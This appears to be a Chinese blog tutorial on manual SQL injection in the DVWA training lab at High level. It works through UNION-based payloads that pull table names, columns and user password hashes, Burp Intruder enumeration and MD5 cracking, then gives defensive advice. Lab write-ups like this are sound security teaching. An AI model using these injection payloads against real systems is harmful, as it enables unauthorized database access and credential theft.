当前位置: 首页 > news >正文

【DVWA靶场攻坚】——High级别SQL注入:绕过会话隔离与LIMIT 1的实战剖析

1. High级别SQL注入的核心挑战

第一次接触DVWA High级别的SQL注入时,我差点被它的防御机制给唬住了。这个级别的靶场设置了两个关键防御点:会话隔离LIMIT 1限制。简单来说,就是你的输入和查询结果不在同一个页面显示,而且每次查询最多只返回一条记录。这就像你去餐厅点菜,服务员把你的订单拿到后厨后,只允许端一道菜出来,而且还不告诉你其他菜做没做好。

在实际测试中,我发现这种设计确实能有效阻挡很多自动化工具的攻击。比如sqlmap这类工具,在遇到页面分离的情况时经常会"懵圈"。但通过手工注入,我们还是能找到突破口。关键在于理解它的防御原理:

  • 会话隔离:用户输入的ID不是直接通过URL或表单传递,而是存储在服务器端的SESSION中。前端通过弹窗获取输入后,后端将值存入$_SESSION['id'],然后在结果页面从SESSION读取这个值进行查询。
  • LIMIT 1限制:所有查询语句末尾都被自动添加了LIMIT 1,确保无论匹配多少条记录,只返回第一条。

2. 手工注入实战步骤

2.1 环境准备与工具配置

在开始之前,我们需要做好以下准备:

  1. 将DVWA的安全级别设置为High
  2. 安装配置BurpSuite社区版(免费版本就够用)
  3. 浏览器配置代理,指向BurpSuite的监听端口(默认8080)
  4. 访问DVWA的SQL Injection页面,确保能正常捕获请求

这里有个小技巧:在BurpSuite的Proxy→Options里,把"Intercept"关掉,改用"HTTP history"查看请求记录。这样不会中断你的操作流程,又能随时查看请求详情。

2.2 判断注入类型与闭合方式

在普通注入中,我们通常会尝试1'1"这样的输入来判断闭合方式。但在High级别下,由于输入是通过弹窗提交的,我们需要借助BurpSuite来观察实际请求。

具体操作步骤:

  1. 在浏览器点击"Submit"按钮弹出输入框
  2. 输入测试payload(如1'#
  3. 在BurpSuite的HTTP history中找到这个请求
  4. 发送到Repeater模块进行详细测试

通过测试发现:

  • 输入1'#返回正常 → 说明是字符型注入,单引号闭合
  • 输入1'返回错误 → 确认需要闭合单引号

2.3 绕过LIMIT 1限制

这是High级别最关键的绕过点。原始查询大概是这样的:

SELECT * FROM users WHERE user_id = '$id' LIMIT 1

我们的目标是用注释符#LIMIT 1给注释掉。构造的payload如下:

1' #

这样实际执行的SQL就变成了:

SELECT * FROM users WHERE user_id = '1' #' LIMIT 1

#后面的内容都被当作注释,LIMIT 1就被成功绕过了。我在测试时发现,有时候用--(注意后面有个空格)也能达到同样效果。

2.4 猜解字段数与确定回显位置

接下来就是常规的Union注入流程了。首先用order by猜解字段数:

1' order by 2# → 正常 1' order by 3# → 报错

确认字段数为2后,用负数ID确保原始查询不返回结果,强制显示Union查询的内容:

-1' union select 1,2#

页面显示数字1和2的位置就是我们可以利用的回显点。通常在DVWA中,第二个字段会显示在"Surname"处。

2.5 获取数据库信息

现在可以开始爆数据了。我常用的几个payload:

获取当前数据库名:

-1' union select database(),2#

获取所有表名:

-1' union select (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'),2#

获取users表的字段名:

-1' union select (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'),2#

最后获取用户名和密码:

-1' union select group_concat(user), group_concat(password) FROM users#

3. 高级绕过技巧与实战经验

3.1 处理特殊情况的子查询技巧

有时候直接Union会遇到字段类型不匹配的问题。这时候可以用子查询来绕过:

-1' union select null,(SELECT concat(user,':',password) FROM users LIMIT 1)#

这个payload的好处是:

  1. 用null避免类型不匹配
  2. 在子查询中使用concat合并多个字段
  3. 通过LIMIT 1逐个获取记录(虽然High级别本身有LIMIT 1,但这是在子查询中)

3.2 利用BurpSuite的Intruder模块爆破数据

当需要获取大量数据时,手工一个个改payload很麻烦。这时可以用BurpSuite的Intruder模块:

  1. 先构造一个基础payload:
-1' union select null,(SELECT concat(user,':',password) FROM users LIMIT 1 OFFSET 0)#
  1. 发送到Intruder,选择"Pitchfork"攻击类型
  2. 把OFFSET后的0设为payload位置
  3. 设置payload为数字序列(0,1,2,...)
  4. 开始攻击,就能批量获取所有记录了

3.3 处理密码解密问题

DVWA中密码是用MD5加密存储的。虽然MD5现在很容易破解,但有几个注意事项:

  1. 简单密码(如'password')可以直接在cmd5.com这类网站解密
  2. 复杂密码可能需要用hashcat进行暴力破解
  3. 实际环境中千万不要尝试破解他人密码,这是违法行为

4. 防御机制分析与安全建议

4.1 High级别防御的优缺点分析

DVWA High级别的防御设计确实比Medium级别高明很多,但仍有明显缺陷:

优点

  • 会话隔离增加了自动化工具的难度
  • LIMIT 1限制减少了信息泄露量
  • 输入输出分离让攻击者更难判断注入是否成功

缺点

  • 没有过滤注释符(#或--)
  • 虽然用了SESSION,但最终还是拼接SQL语句
  • 错误信息仍然过于详细

4.2 真正的安全防护建议

如果我要设计一个真正安全的系统,会考虑以下措施:

  1. 使用预处理语句(PDO或mysqli_prepare)
  2. 最小化错误信息,只返回通用错误
  3. 实施权限最小化,数据库用户只赋予必要权限
  4. 输入验证,即使使用预处理也要验证输入格式
  5. Web应用防火墙,可以拦截常见的注入尝试

5. 实战中的常见问题与解决方案

在实际测试中,我遇到过几个典型问题:

问题1:注入成功但看不到回显解决:尝试把payload放在第二个字段,或者使用盲注技术

问题2:BurpSuite抓不到请求解决:检查代理设置,确保浏览器信任BurpSuite的CA证书

问题3:字段类型不匹配导致Union失败解决:用null代替具体值,或者使用cast函数转换类型

手工注入确实比工具复杂,但理解原理后,你会发现很多看似坚固的防御其实都有漏洞。关键是要有耐心,一步步测试和验证。每次成功绕过防御获取数据时,那种成就感是直接用工具无法比拟的。不过记住,这些技术只能用在合法授权的测试中,千万别越界。

http://www.jsqmd.com/news/654715/

相关文章:

  • Qwen All-in-One应用案例:打造你的专属情感分析聊天助手
  • GLM-4.1V-9B-Base效果展示:中文OCR弱项补充——无文字图像语义补全
  • 洛雪音乐助手:免费开源的跨平台音乐播放器终极指南
  • 从零到一:手把手教你用Polygon与testlib.h打造Codeforces高质量赛题
  • 如何快速解锁加密音乐文件:Unlock Music 终极指南
  • 影刀RPA开发实战案例:融合AI大模型打造电商3.0无人值守铺货流
  • 使用GitHub Actions实现DeOldify模型的CI/CD:自动测试与镜像构建
  • 终极暗黑2存档编辑器指南:3分钟学会角色定制与数据优化 [特殊字符]
  • 从MUSIC到l1-SVD:用MATLAB/CVX工具箱复现稀疏DOA估计,对比实验避坑指南
  • HideMockLocation终极指南:5步隐藏Android模拟位置设置
  • 空洞骑士模组管理革命:Scarab如何用3个步骤彻底改变你的游戏体验
  • 题解:AcWing 3706 不连续1的子串
  • 分布式锁实现方案对比
  • SocialEcho API接口完整参考:RESTful设计规范与使用示例
  • RimSort:3分钟掌握环世界MOD管理,告别加载顺序混乱的终极指南
  • 基于微信小程序实现停车共享管理系统【项目源码+论文说明】
  • 使用LaTeX与PDF-Extract-Kit-1.0构建学术写作工具链
  • 如何快速实现Android折叠展开效果:ExpandableLayout实战解析
  • 如何用Supersonic打造你的专属音乐中心:从零开始的完美音乐体验
  • Android Studio中文界面终极指南:5分钟让英文IDE变母语开发环境
  • [CentOS]Chkrootkit后门检测工具的实战应用与安全加固
  • 5分钟快速上手:3DS游戏转换工具终极指南
  • Java的java.util.SequencedCollection序列集合与双向迭代的新增接口
  • 7步完全掌握Source Han Serif CN:免费开源中文字体的终极配置指南
  • KMS_VL_ALL_AIO:3分钟终极指南,轻松激活Windows与Office
  • Hotkey Detective:基于Windows钩子技术解决热键冲突的智能检测方案
  • ESP32 OTA升级实战:从零配置HTTP服务器到一键更新固件(含常见报错排查)
  • 2026工业级AI智能体实战:OpenClaw+ONNX Runtime端到端部署,7x24小时无人值守产线落地
  • OpenTelemetry Java Instrumentation 部署实战:生产环境配置指南
  • sentence-transformers 3.3.1新特性解析:model.similarity()方法实战教程